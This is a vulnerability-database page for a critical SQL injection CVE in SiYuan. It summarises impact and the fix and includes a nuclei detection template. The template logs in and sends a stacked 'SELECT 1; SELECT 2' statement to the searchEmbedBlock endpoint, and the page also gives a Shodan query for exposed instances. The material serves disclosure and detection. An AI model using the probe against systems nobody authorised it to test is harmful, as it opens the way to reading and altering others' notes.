Browse / CVEs / CVE-2026-69084
CVE-2026-69084· CWE-89
SiYuan - SQL Execution
criticalseverity
10CVSS score
1.6%likelihood of exploitation, next 30 days
76%of all CVEs are less likely
Readycheck to confirm it
SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.
Impact
Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality.
Fix
Update to version v3.7.3 or later.
How to confirm it
Send: POST /api/system/loginAuth ; POST /api/search/searchEmbedBlock
Positive when: contains "\"code\":0" AND not contains "SQL statement is not single" AND status 200Run it with nuclei: nuclei -id CVE-2026-69084 -u <target>
The full check
id: CVE-2026-69084
info:
name: SiYuan - SQL Execution
author: Boreas37
severity: critical
description: |
SiYuan <= v3.7.2 contains a SQL injection caused by passing client-supplied SQL statements verbatim to the main read-write database handle in /api/search/searchEmbedBlock, letting attackers with publish RoleReader token or anonymous access read and modify content, exploit requires publish RoleReader token or disabled publish authentication.
impact: |
Attackers can read and modify content across all opened cleartext notebooks, potentially compromising data integrity and confidentiality.
remediation: |
Update to version v3.7.3 or later.
reference:
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7
- https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock
- https://nvd.nist.gov/vuln/detail/CVE-2026-69084
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
cvss-score: 10
cve-id: CVE-2026-69084
epss-score: 0.01573
epss-percentile: 0.75626
cwe-id: CWE-89
metadata:
max-request: 2
verified: true
shodan-query: 'title:"SiYuan"'
tags: cve,cve2026,siyuan,sqli,authenticated
variables:
auth_code: "{{password}}"
http:
- raw:
- |
POST /api/system/loginAuth HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"authCode":"{{auth_code}}"}
- |
POST /api/search/searchEmbedBlock HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"embedBlockID":"20210808180117-6v0mkxr","stmt":"SELECT 1; SELECT 2","excludeIDs":[],"headingMode":0,"breadcrumb":false}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"code":0'
- type: word
part: body
words:
- 'SQL statement is not single'
negative: true
- type: status
status:
- 200References
- https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vh22-h7hf-www7
- https://www.vulncheck.com/advisories/siyuan-before-sql-injection-via-searchembedblock
- https://nvd.nist.gov/vuln/detail/CVE-2026-69084
Use this check only on systems you are authorised to test. Where the data comes from